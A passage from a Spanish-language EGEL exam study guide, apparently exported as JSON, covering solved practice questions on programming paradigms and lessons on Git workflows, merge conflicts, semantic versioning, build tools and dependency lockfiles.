(*locks*) en concurrencia multihilo.\n- **Respuesta Correcta:** **C) La transparencia referencial y la ausencia total de mutación de estado compartido o efectos secundarios.**\n- **Justificación Técnica:** Las condiciones de carrera solo pueden existir cuando convergen dos condiciones: (1) concurrencia y (2) **mutación de estado compartido**. Una función pura, al depender exclusivamente de sus argumentos y no mutar ninguna variable en memoria externa ni realizar efectos secundarios, es inherentemente segura en hilos (*thread-safe*). Múltiples hilos pueden ejecutarla simultáneamente con total independencia sin interferencias.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La paginación de memoria virtual es un mecanismo del kernel del sistema operativo ajeno a la pureza algorítmica.\n  - *B es incorrecta:* La vtable es un mecanismo de despacho de métodos polimórficos en POO, no de sincronización concurrente.\n  - *D es incorrecta:* Las variables globales compartidas son precisamente la causa principal de fallos de concurrencia, lo opuesto a una función pura.\n\n---\n\n## 4. Soluciones: Programación Reactiva y Manejo de Eventos (Lección 3.2.4)\n\n### Pregunta 1\n- **Enunciado:** Sensor cardíaco emite a 50 Hz vía Bluetooth mientras que la pantalla solo puede renderizar a 5 Hz sin sobrecalentar el hardware.\n- **Respuesta Correcta:** **B) Implementar contrapresión (*Backpressure*) mediante muestreo (*sampling*) o limitación de tasa (*throttle*), descartando lecturas intermedias para entregar únicamente la lectura más reciente en cada intervalo de actualización gráfica.**\n- **Justificación Técnica:** En programación reactiva, el desbalance de velocidad entre un productor rápido y un consumidor lento define el fenómeno de **Backpressure**. En telemetría en tiempo real donde al usuario solo le interesa el pulso actual en pantalla, la estrategia de descarte por muestreo (*sampling/throttle*) descarta las 9 lecturas intermedias redundantes de cada 10 emitidas, entregando a la UI únicamente el valor más fresco sin saturar la CPU ni la memoria.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Desactivar el hardware Bluetooth rompería la conexión y provocaría pérdida de datos médicos.\n  - *C es incorrecta:* Crear 50 hilos por segundo colapsaría el sistema operativo del teléfono móvil por sobrecarga de cambio de contexto y consumo de RAM.\n  - *D es incorrecta:* El patrón singleton no regula la frecuencia de eventos en flujos asíncronos temporales.\n\n### Pregunta 2\n- **Enunciado:** Diferencia operativa entre el modelo de iteración tradicional de colecciones (Pull) y los flujos reactivos de Observables (Push).\n- **Respuesta Correcta:** **A) En el modelo Pull el consumidor solicita proactivamente el siguiente elemento cuando está listo, mientras que en el modelo Push el productor emite y empuja los datos al suscriptor conforme los eventos ocurren en el tiempo.**\n- **Justificación Técnica:** En el modelo Pull (iteradores como `iterator.next()`), el hilo consumidor tiene el control activo de cuándo pedir el dato y se bloquea o espera hasta recibirlo. En el modelo Push reactivo (Observables / Streams), el productor tiene el control temporal y empuja los datos asíncronamente invocando `onNext()` sobre los observadores registrados conforme los eventos acontecen en el mundo real.\n- **Análisis de Distractores:**\n  - *B es incorrecta:* La ejecución reactiva es totalmente independiente de GPUs o lenguajes sin tipado (RxJava es estáticamente tipado y corre en CPU).\n  - *C es incorrecta:* El modelo Push cuenta con un canal de error formal obligatorio (`onError`).\n  - *D es incorrecta:* Invierte la relación: los iteradores Pull tradicionales suelen ser síncronos y bloqueantes.\n\n---\n\n## 5. Soluciones: Escenarios de Decisión de Paradigmas (Lección 3.2.5)\n\n### Pregunta 1\n- **Enunciado:** Auditoría fiscal sobre lote estático de 3 millones de transacciones con 12 reglas matemáticas en un servidor de 64 núcleos sin condiciones de carrera ni bloqueos.\n- **Respuesta Correcta:** **B) Paradigma Funcional basado en datos inmutables y un pipeline de funciones puras de orden superior (`filter`, `map`, `reduce`), paralelizado mediante particionamiento de datos sin estado compartido.**\n- **Justificación Técnica:** El procesamiento batch de datos masivos estáticos donde se aplican transformaciones y agregaciones matemáticas es el escenario ideal de la programación funcional. Al garantizar que las funciones de validación son puras y operan sobre registros inmutables, el motor de ejecución puede particionar las 3 millones de transacciones entre los 64 núcleos de procesamiento en paralelo (ej. `parallelStream()` o MapReduce) sin requerir ningún cerrojo Mutex, logrando una aceleración lineal perfecta sin contención de hilos.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Un único Mutex global sobre variables mutables serializaría la ejecución a un solo hilo, desperdiciando los otros 63 núcleos y degradando el rendimiento.\n  - *C es incorrecta:* Las conexiones WebSocket y operadores de debounce son para flujos asíncronos en tiempo real con usuarios, totalmente inadecuados para procesamiento batch en disco.\n  - *D es incorrecta:* Sentencias `goto` rompen la estructura del programa y no aportan paralelismo ni seguridad concurrente.\n\n### Pregunta 2\n- **Enunciado:** Formulario web con validación asíncrona que evita saturar el servidor con cada pulsación y lista de citas en tiempo real que se actualiza conforme se liberan.\n- **Respuesta Correcta:** **B) Programación Reactiva basada en flujos observables (*Streams*), aplicando operadores como `debounceTime` para el campo de texto y suscripciones asíncronas conducidas por eventos (Push) para la disponibilidad de citas.**\n- **Justificación Técnica:** La interacción web rica en eventos asíncronos temporales se resuelve con máxima ergonomía mediante Programación Reactiva. El operador `debounceTime` amortigua la ráfaga de teclas del usuario esperando una pausa deliberada antes de consultar la API, y la actualización en tiempo real de citas libres se modela de forma natural como una suscripción a un stream de eventos emitido por el servidor (Server-Sent Events / WebSockets).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Un bucle infinito de polling cada 10 milisegundos saturaría el navegador, consumiría el 100% de CPU y colapsaría la base de datos con consultas redundantes.\n  - *C es incorrecta:* Las clases abstractas y la herencia múltiple modelan estructuras estáticas de objetos; no resuelven la temporalidad de eventos de red ni el debounce.\n  - *D es incorrecta:* La programación lógica es para deducción e inferencia sobre bases de conocimiento, no para manejo de eventos de interfaz de usuario en navegadores.\n\n---\n\n## 6. Soluciones: Mini-Simulador de Diagnóstico (Lección 3.2.6)\n\n### Reactivo Muestra 1\n- **Enunciado:** Variable `Vehiculo v = new AutoElectrico(); v.acelerar();` donde ambas clases implementan `acelerar()`.\n- **Respuesta Correcta:** **B) Imprime `Silencioso `; se resuelve en tiempo de ejecución mediante enlace dinámico (*Dynamic Dispatch*) consultando la tabla de métodos virtuales (vtable) del objeto real instanciado en el Heap.**\n- **Justificación Técnica:** En los lenguajes orientados a objetos con métodos virtuales (como Java o C++ con `virtual`), cuando un método es invocado sobre una referencia polimórfica, el compilador genera una instrucción de enlace dinámico. En tiempo de ejecución, la CPU accede a la instancia física en el Heap (que es de tipo `AutoElectrico`), lee su puntero de tabla virtual (`vptr`) y localiza la dirección de memoria del método sobrescrito en `AutoElectrico`, imprimiendo `\"Silencioso \"`.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Si se resolviera por el tipo estático de la referencia en compilación, no existiría el polimorfismo dinámico de subtipado.\n  - *C es incorrecta:* Una referencia de superclase puede apuntar legítimamente a cualquier instancia de una subclase derivada (Principio de Sustitución de Liskov).\n  - *D es incorrecta:* La invocación de métodos y constructores es síncrona en un mismo hilo; no hay ejecución concurrente.\n\n### Reactivo Muestra 2\n- **Enunciado:** Ráfagas de 8,000 ofertas/s en subastas frente a capacidad de escritura de 1,200 ofertas/s en base de datos relacional.\n- **Respuesta Correcta:** **B) Problema de Contrapresión (*Backpressure*); se soluciona implementando una cola de amortiguamiento persistente acotada (*Bounded Buffer / Message Broker*) combinada con agregación o descarte de ofertas inferiores no competitivas antes de persistir en el motor relacional.**\n- **Justificación Técnica:** La disparidad entre un productor masivo (8,000 ofertas/s) y un consumidor limitado (1,200 transacciones/s) es el problema paradigmático de **Backpressure**. Para prevenir caídas por agotamiento de recursos (*OutOfMemory*), se debe introducir un búfer acotado desacoplado (como Apache Kafka o RabbitMQ) y lógica reactiva de filtrado: si dentro de un segundo llegan 10 ofertas para el mismo lote, solo la oferta más alta tiene relevancia competitiva, descartando o consolidando las menores antes de persistir en la base de datos relacional.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El problema del diamante concierne a jerarquías de herencia múltiple de clases, completamente ajeno a cuellos de botella de throughput en bases de datos.\n  - *C es incorrecta:* El sombreado de variables atañe al alcance léxico de identificadores en código fuente.\n  - *D es incorrecta:* Migrar a un lenguaje interpretado con tipado débil aumentaría la latencia y empeoraría la sobrecarga computacional.\n","title":"3.2.7 Soluciones razonadas y análisis de distractores: Subárea 3.2"}],"contentMd":"","title":"3.2 Paradigmas de programación"},{"children":[{"children":[],"contentMd":"# Control de Versiones Distribuido con Git, Flujos de Trabajo y Resolución de Conflictos\n\nEn la ingeniería de software profesional, el código fuente es un activo colaborativo en constante evolución. Ningún desarrollo formal ocurre de forma aislada sin un sistema de control de versiones distribuido. En el examen EGEL de Ingeniería de Software, la Subárea 3.3 (**Entornos de desarrollo y automatización de pruebas - 20 reactivos**) evalúa el modelo interno de objetos de Git, la selección y aplicación de flujos de ramificación (*Branching Workflows* como GitFlow y Trunk-Based Development), las diferencias fundamentales entre `git merge` y `git rebase`, y la resolución metódica de conflictos de integración.\n\n---\n\n## 1. El Modelo Interno de Git: Grafo Acíclico Dirigido (DAG)\n\nA diferencia de los sistemas de control de versiones centralizados históricos (como CVS o SVN) que almacenan diferencias incrementales de texto (*deltas*), **Git almacena instantáneas completas (*snapshots*)** de todo el proyecto en cada confirmación de cambio (*commit*), organizadas en un Grafo Acíclico Dirigido (DAG):\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   LOS CUATRO OBJETOS INTERNOS DE GIT                   │\n│                                                                        │\n│   1. BLOB (Binary Large Object):                                       │\n│      Almacena únicamente el contenido de un archivo (sin su nombre ni  │\n│      permisos). Identificado por un hash SHA-1/SHA-256 inmutable.      │\n│                                                                        │\n│   2. TREE:                                                             │\n│      Representa un directorio o carpeta. Contiene una lista de punteros│\n│      a Blobs (con sus nombres y permisos) u otros sub-Trees.           │\n│                                                                        │\n│   3. COMMIT:                                                           │\n│      Representa la instantánea del proyecto en un momento dado.        │\n│      Contiene: puntero al Tree raíz, autor, committer, fecha, mensaje   │\n│      y puntero(s) a su(s) commit(s) padre(s).                          │\n│                                                                        │\n│   4. TAG (Anotado):                                                    │\n│      Puntero permanente a un commit específico con mensaje y firma.    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Las Tres Áreas Locales de Git y el Ciclo de Vida del Archivo\nUn repositorio de Git local se compone de tres áreas de trabajo:\n1. **Directorio de Trabajo (Working Directory):** Los archivos físicos descomprimidos en el disco que el programador edita en su IDE.\n2. **Área de Preparación (Staging Area / Index):** Un archivo intermedio que registra los cambios específicos que formarán parte de la próxima instantánea (`git add`).\n3. **Repositorio Local (.git directory / Object Database):** La base de datos de objetos permanente donde se persisten las instantáneas confirmadas (`git commit`).\n\n---\n\n## 2. Estrategias de Ramificación (Branching Strategies)\n\nLa forma en que un equipo de ingeniería organiza sus ramas determina su velocidad de entrega, el riesgo de conflictos y la estabilidad de la producción:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   GITFLOW VS TRUNK-BASED DEVELOPMENT                   │\n│                                                                        │\n│   GITFLOW (Orientado a versiones programadas / Releases planificadas): │\n│   main       ───────────────────────●───────────────────────● (Prod)   │\n│                                    ▲                       ▲           │\n│   release    ──────────────●───────┘                       │           │\n│                           ▲                                │           │\n│   develop    ─────●───────┴────────────────────────●───────┘           │\n│                  ▲                                ▲                    │\n│   feature    ────┴─────●─────┘ (Ramas largas)     └────●────┘          │\n│                                                                        │\n│   TRUNK-BASED (Orientado a Integración Continua y DevOps ágil):        │\n│   main/trunk ════●═══════●═══════●═══════●═══════●═══════●════ (Prod)  │\n│                  ▲       ▲       ▲       ▲       ▲                     │\n│   short-lived    └──●────┘       └──●────┘       └──●────┘             │\n│   (Ramas efímeras de menos de 24-48 horas con Feature Flags)           │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Comparativa: GitFlow vs Trunk-Based Development vs GitHub Flow\n\n| Dimensión | GitFlow | Trunk-Based Development (TBD) | GitHub Flow |\n| :--- | :--- | :--- | :--- |\n| **Ramas Principales** | Dos ramas permanentes: `main` (producción) y `develop` (integración previa). | **Una sola rama troncal:** `main` (o `trunk`). | Una rama principal permanente: `main`. |\n| **Ramas Secundarias** | `feature/*`, `release/*`, `hotfix/*`. | Ramas de funcionalidad muy cortas (*short-lived branches*, \u003c 1-2 días). | Ramas de funcionalidad creadas desde `main` con Pull Requests (PR). |\n| **Frecuencia de Fusión** | Baja a moderada (semanas o meses al terminar un sprint o release grande). | **Muy alta:** Los desarrolladores fusionan a `trunk` varias veces al día. | Alta (conforme se aprueba el PR tras pasar CI). |\n| **Riesgo de Conflictos** | **Muy alto:** \"El infierno de la integración\" (*Merge Hell*) al intentar unir ramas longevas con meses de desfase. | **Mínimo:** Desfases pequeños que se resuelven en minutos. | Bajo a moderado. |\n| **Control de Funcionalidades** | Mediante ramas aisladas que no se unen hasta estar terminadas. | Mediante **Feature Flags (Interruptores de funcionalidad)** en código dentro de la rama principal. | Mediante revisión de código por pares en PR y despliegue continuo tras merge. |\n| **Caso de Uso Óptimo** | Software empaquetado tradicional con ciclos de lanzamiento formales (ej. sistemas operativos, firmware, banca tradicional). | **Sistemas SaaS modernos, microservicios y despliegue continuo (CD).** Recomendado por DORA / DevOps. | Proyectos de código abierto y aplicaciones web ágiles. |\n\n---\n\n## 3. Integración de Ramas: `git merge` vs `git rebase`\n\nCuando una rama de trabajo secundaria debe unirse a la rama principal, Git ofrece dos mecanismos conceptualmente diferentes:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        GIT MERGE VS GIT REBASE                         │\n│                                                                        │\n│   Estado Inicial:                                                      │\n│   main:    C1 ─── C2 ─── C3                                            │\n│                    \\                                                   │\n│   feature:          C4 ─── C5                                          │\n│                                                                        │\n│   A. RESULTADO CON 'git merge feature' (En rama main):                 │\n│   main:    C1 ─── C2 ─── C3 ────────── M6 (Commit de fusión explícito) │\n│                    \\                  /                                │\n│   feature:          C4 ───────────── C5                                │\n│   • Preserva la historia real exacta no lineal.                        │\n│   • Conserva la trazabilidad temporal cronológica.                     │\n│                                                                        │\n│   B. RESULTADO CON 'git rebase main' (En rama feature):                │\n│   main:    C1 ─── C2 ─── C3                                            │\n│                            \\                                           │\n│   feature:                  C4' ─── C5' (Reescritura de commits)       │\n│   • Historia perfectamente lineal y limpia.                            │\n│   • ¡Reescribe los hashes SHA de los commits!                         │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### La Regla de Oro del Rebase (*The Golden Rule of Rebasing*)\n\u003e **\"NUNCA hagas `git rebase` sobre una rama pública compartida (como `main` o `develop`).\"**\n\u003e *Razón de ingeniería:* Dado que `rebase` calcula nuevos hashes de commit y descarta los antiguos, reescribe la historia. Si otros ingenieros ya descargaron los commits originales y tú haces un `rebase` seguido de `push --force`, corrompes el historial de sus repositorios locales, forzándolos a reconciliaciones destructivas. El rebase solo debe usarse en **ramas locales privadas** antes de abrir un Pull Request para limpiar la historia.\n\n### Fast-Forward Merge vs Three-Way Merge\n- **Fast-Forward Merge:** Si la rama principal `main` no ha recibido ningún commit nuevo desde que se bifurcó `feature`, Git simplemente mueve el puntero de `main` hacia adelante hasta el último commit de `feature` sin crear ningún commit adicional de fusión.\n- **Three-Way Merge (Fusión a Tres Bandas):** Si ambas ramas avanzaron independientemente, Git utiliza tres instantáneas: el ancestro común más reciente (*Merge Base*), la punta de la rama receptora y la punta de la rama a fusionar, creando un nuevo commit especial de unión con **dos padres**.\n\n---\n\n## 4. Resolución Metódica de Conflictos de Fusión\n\nUn conflicto ocurre cuando dos confirmaciones modifican la **misma línea del mismo archivo** de maneras incompatibles, o cuando una confirmación elimina un archivo que la otra modificó. Git detiene la operación e inserta marcadores de conflicto estándar:\n\n```\n\u003c\u003c\u003c\u003c\u003c\u003c\u003c HEAD (Rama receptora actual, ej. main)\nString urlServicio = \"https://api-v2.banco.com\";\n=======\nString urlServicio = \"https://api-pagos.banco.com\";\n\u003e\u003e\u003e\u003e\u003e\u003e\u003e feature/nueva-pasarela (Rama entrante a fusionar)\n```\n\n### Procedimiento Formal de Resolución:\n1. **Inspeccionar estado:** `git status` para listar los archivos en estado de conflicto (*both modified*).\n2. **Analizar intención de negocio:** Reunir a los involucrados para determinar si una versión reemplaza a la otra o si deben combinarse ambas lógicas.\n3. **Editar manualmente:** Remover los delimitadores `\u003c\u003c\u003c\u003c\u003c\u003c\u003c`, `=======` y `\u003e\u003e\u003e\u003e\u003e\u003e\u003e`, dejando únicamente el código definitivo consolidado y sintácticamente válido.\n4. **Validar y compilar:** Ejecutar la suite de pruebas unitarias localmente para garantizar que la resolución no introdujo regresiones.\n5. **Marcar como resuelto:** `git add archivo_resuelto.java`.\n6. **Concluir la operación:** `git commit` (en caso de merge) o `git rebase --continue` (en caso de rebase).\n\n---\n\n## 5. Versionado Semántico (SemVer 2.0.0) y Etiquetas Git\n\nPara comunicar de forma transparente el impacto de los cambios a los consumidores del software, la industria utiliza la especificación **SemVer**:\n\n$$\\text{Versión: } \\mathbf{MAJOR}.\\mathbf{MINOR}.\\mathbf{PATCH}$$\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        VERSIONADO SEMÁNTICO (SemVer)                   │\n│                                                                        │\n│   MAJOR (Rompe compatibilidad):                                        │\n│   Se incrementa cuando se introducen cambios que ROMPEN la API pública │\n│   preexistente (Breaking Changes). Los clientes deben adaptar código. │\n│   Ejemplo: 1.5.4 ──▶ 2.0.0                                            │\n│                                                                        │\n│   MINOR (Nuevas funcionalidades compatibles):                          │\n│   Se incrementa cuando se añade funcionalidad retrocompatible hacia    │\n│   atrás. La API existente sigue funcionando sin modificaciones.        │\n│   Ejemplo: 2.0.0 ──▶ 2.1.0                                            │\n│                                                                        │\n│   PATCH (Corrección de bugs retrocompatible):                          │\n│   Se incrementa cuando se corrigen defectos o fallos sin alterar el    │\n│   comportamiento ni agregar nuevos métodos públicos.                   │\n│   Ejemplo: 2.1.0 ──▶ 2.1.1                                            │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Equipo Ágil de 12 Desarrolladores con Despliegues Diarios a Producción\n- **Problema:** El equipo utilizaba GitFlow. Los desarrolladores pasaban hasta 3 días resolviendo conflictos cada final de sprint al fusionar ramas de funcionalidad que tenían 4 semanas de aislamiento.\n- **Decisión:** **Migrar a Trunk-Based Development**.\n- **Fundamentación:** Las ramas se limitan a una vida máxima de 24 a 48 horas. Las funcionalidades en desarrollo pero aún no listas para los usuarios se protegen mediante *Feature Flags* activadas condicionalmente. Se elimina el infierno de integración (*Merge Hell*) y el equipo despliega a producción múltiples veces por día de forma segura.\n\n### Escenario B: Corrección de Emergencia Crítica en Producción (Hotfix)\n- **Problema:** Se descubre una vulnerabilidad de inyección SQL en la versión 3.4.0 en producción. El equipo está a la mitad del desarrollo de la versión 3.5.0 en la rama `develop` con código incompleto e inestable.\n- **Decisión:** Crear una rama **`hotfix/v3.4.1` directamente desde el tag de producción `v3.4.0` en `main`**, aplicar la corrección mínima, compilar, verificar con pruebas, y fusionar de inmediato tanto a `main` (con tag `v3.4.1`) como a `develop` para propagar el parche. Nunca desplegar desde `develop` cuando contiene trabajo en progreso no validado.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Ejecutar `git push --force` sobre una rama compartida.**\n\u003e En reactivos de buenas prácticas de equipo, el comando `push --force` sobre ramas públicas compartidas (`main`, `develop`) es considerado una **mala práctica grave**, pues destruye el trabajo y la historia de otros desarrolladores que hayan confirmado cambios en el servidor remoto.\n\n\u003e **Trampa 2: Confundir un Tag Ligero con un Tag Anotado.**\n\u003e - Un **Tag Ligero (Lightweight):** Es simplemente un puntero estático directo a un commit (como una rama que no se mueve).\n\u003e - Un **Tag Anotado (Annotated):** Es un objeto formal en la base de datos de Git con autor, firma criptográfica GPG opcional, fecha y mensaje explicativo; es el recomendado para lanzamientos oficiales de releases.\n\n\u003e **Trampa 3: Creer que Git guarda solo las líneas que cambiaron (*diffs*).**\n\u003e A diferencia de SVN o Perforce, Git guarda **instantáneas completas (Snapshots)** del árbol de archivos. Para optimizar espacio, si un archivo de 10 MB no cambió entre el commit A y el commit B, el Tree del commit B apunta exactamente al mismo objeto Blob ya existente sin duplicar bytes.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nUna organización de desarrollo de software adopta una estrategia de Integración Continua estricta con despliegues automatizados a producción varias veces al día. Para evitar retrasos causados por ramas de desarrollo longevas que acumulan conflictos masivos de integración, ¿cuál es el flujo de trabajo de Git más recomendado técnica y metodológicamente?\n- A) GitFlow con ramas de funcionalidad aisladas durante todo el ciclo de desarrollo del trimestre.\n- B) Trunk-Based Development, donde los desarrolladores integran ramas de vida muy corta (menos de 24 a 48 horas) directamente sobre la rama principal (*trunk*), utilizando interruptores de funcionalidad (*Feature Flags*) para desacoplar el despliegue de la activación.\n- C) Desarrollo directo sin control de versiones, editando archivos vía SSH directamente en el servidor de producción.\n- D) Centralized Workflow prohibiendo la creación de cualquier tipo de rama local.\n\n### Pregunta 2\nAl intentar fusionar una rama de funcionalidad en la rama principal mediante `git merge`, la consola arroja un mensaje de conflicto en el archivo `config.json` y detiene la operación. ¿Cuál es la secuencia de comandos y acciones de ingeniería correcta para resolver el conflicto de forma limpia?\n- A) Ejecutar `git push --force` para obligar al servidor a sobrescribir los cambios de la rama principal.\n- B) Eliminar el directorio `.git` y clonar el repositorio desde cero.\n- C) Abrir `config.json`, remover los delimitadores de conflicto (`\u003c\u003c\u003c\u003c\u003c\u003c\u003c`, `=======`, `\u003e\u003e\u003e\u003e\u003e\u003e\u003e`), unificar la configuración válida, guardar el archivo, ejecutar `git add config.json` y finalizar con `git commit`.\n- D) Ejecutar `git reset --hard` sobre el servidor remoto.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.3.7 de esta subárea).*\n","title":"3.3.1 Control de versiones distribuido con Git, flujos de trabajo y resolución de conflictos"},{"children":[],"contentMd":"# Herramientas de Construcción, Automatización de Builds y Gestión de Dependencias\n\nEn los proyectos de software del mundo real, el código escrito por el equipo representa solo una pequeña fracción del artefacto final desplegado; el resto se compone de bibliotecas de terceros, frameworks y módulos de infraestructura. Sin herramientas de construcción automatizadas y una gestión rigurosa de dependencias, los proyectos sufren del temido \"infierno de dependencias\" (*Dependency Hell*), compilaciones no reproducibles y fallas inesperadas en producción. En el examen EGEL, los reactivos evalúan los ciclos de vida de construcción (Maven, Gradle, npm), la resolución de conflictos de dependencias transitivas y el papel crítico de los archivos de bloqueo (*lockfiles*).\n\n---\n\n## 1. El Ciclo de Vida de Construcción (Build Lifecycle)\n\nUna **herramienta de construcción (*Build Tool*)** automatiza todas las tareas mecánicas necesarias para transformar el código fuente en un artefacto de software ejecutable y testeado:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   CICLO DE VIDA TÍPICO DE CONSTRUCCIÓN                 │\n│                                                                        │\n│   1. CLEAN ───────▶ Elimina binarios y artefactos de compilaciones prev│\n│   2. VALIDATE ────▶ Comprueba que la estructura del proyecto sea válida│\n│   3. COMPILE ─────▶ Traduce código fuente a bytecode o binario nativo  │\n│   4. TEST ────────▶ Ejecuta la suite de pruebas unitarias automatizadas│\n│   5. PACKAGE ─────▶ Empaqueta el binario compilado (.jar, .war, .whl)  │\n│   6. VERIFY ──────▶ Ejecuta pruebas de integración y análisis estático │\n│   7. INSTALL ─────▶ Instala el artefacto en el repositorio local (.m2) │\n│   8. DEPLOY ──────▶ Publica el binario en un repositorio central/nube  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Herramientas Canónicas por Ecosistema Tecnológico\n\n### A. Ecosistema Java/JVM: Apache Maven vs Gradle\n\n| Dimensión | Apache Maven | Gradle |\n| :--- | :--- | :--- |\n| **Archivo de Configuración** | XML declarativo rígido: `pom.xml` (*Project Object Model*). | DSL programable expresivo en Groovy o Kotlin: `build.gradle` / `build.gradle.kts`. |\n| **Filosofía** | **Convención sobre Configuración:** Estructura de carpetas estándar fija (`src/main/java`, `src/test/java`) y ciclo de vida inmutable de fases predefinidas. | **Flexibilidad y Orientación a Grafo de Tareas:** Permite definir tareas (*tasks*) personalizadas complejas organizadas en un Grafo Acíclico Dirigido (DAG). |\n| **Rendimiento de Compilación** | Lineal estándar. Vuelve a compilar módulos completos a menos que se use build incremental básico. | **Ultrarrápido:** Utiliza compilación incremental agresiva, caché de compilación en disco/remota y un proceso demonio permanente en memoria (*Gradle Daemon*). |\n| **Curva de Aprendizaje** | Baja; altamente predecible y estandarizado en toda la industria. | Media a alta; su naturaleza programable puede derivar en scripts de build complejos si no se gobierna. |\n\n---\n\n### B. Herramientas en Otros Ecosistemas Modernos\n\n- **JavaScript / TypeScript (Node.js):**\n  - **npm / yarn / pnpm:** Administran módulos declarados en `package.json`. *pnpm* destaca por usar un almacén global basado en enlaces duros (*hard links*), evitando duplicar megabytes de librerías idénticas entre diferentes proyectos.\n- **Python:**\n  - **pip con requirements.txt (Tradicional):** Manifiesto plano sin resolución avanzada de dependencias transitivas ni aislamiento de entorno garantizado.\n  - **Poetry / Pipenv (Moderno):** Manejo declarativo en `pyproject.toml` con aislamiento automático de entornos virtuales y resolución determinista de dependencias mediante solver matemático.\n- **Rust:**\n  - **Cargo:** Herramienta integral que unifica compilación, gestor de dependencias (`Cargo.toml`), ejecutor de pruebas (`cargo test`) y generador de documentación técnica (`cargo doc`).\n\n---\n\n## 3. Dependencias Directas vs Transitivas y el \"Dependency Hell\"\n\nUna **dependencia directa** es aquella declarada explícitamente por el equipo en el manifiesto del proyecto (ej. \"nuestro sistema necesita la librería `Jackson 2.15` para procesar JSON\").\n\nUna **dependencia transitiva** es aquella requerida por una dependencia directa sin que nosotros la hayamos declarado (ej. la librería `Jackson` a su vez requiere internamente `jackson-core` y `jackson-annotations`).\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   EL CONFLICTO DEL DIAMANTE DE DEPENDENCIAS            │\n│                                                                        │\n│                        [ Nuestra Aplicación ]                          │\n│                                  │                                     │\n│                 ┌────────────────┴────────────────┐                    │\n│                 ▼                                 ▼                    │\n│        [ Librería A v1.0 ]               [ Librería B v2.0 ]           │\n│                 │                                 │                    │\n│                 ▼ (requiere)                      ▼ (requiere)         │\n│          [ Librería C v1.0 ]               [ Librería C v2.0 ] ◄─¡Conflicto!\n│                 ▲                                 ▲                    │\n│                 └────────────────┬────────────────┘                    │\n│                                  │                                     │\n│         ¿Cuál versión de 'C' se carga en memoria en Runtime?           │\n│   Si se carga v1.0 ──▶ B falla con NoSuchMethodError en producción     │\n│   Si se carga v2.0 ──▶ A falla por incompatibilidad binaria            │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Mecanismos de Resolución de Conflictos en Gestores de Paquetes\n1. **Regla del Más Cercano en el Grafo (Nearest-Wins de Maven):**\n   - Maven resuelve el conflicto eligiendo la versión que esté a **menor distancia de profundidad** desde el nodo raíz del proyecto.\n   - *Riesgo:* Si la rama A tiene profundidad 2 (`App -\u003e A -\u003e C v1.0`) y la rama B tiene profundidad 3 (`App -\u003e B -\u003e SubMod -\u003e C v2.0`), Maven seleccionará ciegamente la versión `v1.0`, rompiendo potencialmente a `SubMod` en tiempo de ejecución.\n2. **Exclusiones Explícitas (`\u003cexclusions\u003e`):**\n   - El ingeniero excluye manualmente la versión transitiva obsoleta en el archivo de build y declara la versión correcta como dependencia directa para forzar una única versión compatible en todo el artefacto.\n3. **Sombreado de Paquetes (Package Shading / Shadow Jar):**\n   - En situaciones extremas donde dos librerías requieren versiones incompatibles de forma irreconciliable, el plugin de sombreado reescribe el bytecode en tiempo de empaquetado, renombrando el paquete de una de las versiones (ej. de `com.google.guava` a `shaded.com.google.guava`), permitiendo que ambas versiones coexistan en el mismo classpath sin colisionar.\n\n---\n\n## 4. Archivos de Bloqueo (Lockfiles) y Builds Reproducibles\n\nUno de los fallos más críticos en proyectos sin madurez DevOps es la discrepancia de entornos:\n\u003e *\"El código compila y pasa las pruebas en la computadora de María, pero cuando el servidor de Integración Continua (CI) intenta compilar la misma rama, el build falla estrepitosamente.\"*\n\nLa causa principal es el uso de **rangos de versiones abiertos o permisivos** en los manifiestos:\n```json\n// En package.json:\n\"dependencies\": {\n    \"axios\": \"^1.4.0\" // El símbolo '^' significa: \"descarga cualquier versión \u003e= 1.4.0 y \u003c 2.0.0\"\n}\n```\nSi el autor de `axios` publica la versión `1.4.1` el viernes por la tarde con un bug sutil, María tiene en su máquina la versión `1.4.0` descargada el lunes, pero el servidor de CI descarga la nueva versión `1.4.1` inestable, rompiendo el pipeline.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL ROL DEL ARCHIVO LOCKFILE                     │\n│                                                                        │\n│   MANIFIESTO ABIERTO (package.json / pom.xml):                         │\n│   Declara las intenciones generales y rangos de versiones deseados.    │\n│                                                                        │\n│   ARCHIVO DE BLOQUEO (package-lock.json / poetry.lock / Cargo.lock):   │\n│   • Registra la versión EXACTA de cada paquete directo y transitivo.   │\n│   • Almacena el hash criptográfico (SHA-512) de cada archivo descargado│\n│   • GARANTIZA EL DETERMINISMO: Cualquier máquina en el mundo descargará│\n│     exactamente los mismos bits idénticos bit por bit.                 │\n│                                                                        │\n│   REGLA DE ORO DEVOPS:                                                 │\n│   ¡EL ARCHIVO LOCKFILE DEBE CONFIRMARSE OBLIGATORIAMENTE EN GIT!       │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Pipeline de CI/CD Roto por Descarga de Dependencias No Deterministas\n- **Problema:** En un proyecto de Node.js, un desarrollador agregó `package-lock.json` al archivo `.gitignore` para \"evitar conflictos molestos de fusión en Git\". En consecuencia, cada compilación en el servidor de integración continua instala versiones flotantes imprevistas, provocando caídas intermitentes en producción.\n- **Diagnóstico y Decisión:**\n  - Remediar de inmediato eliminando el 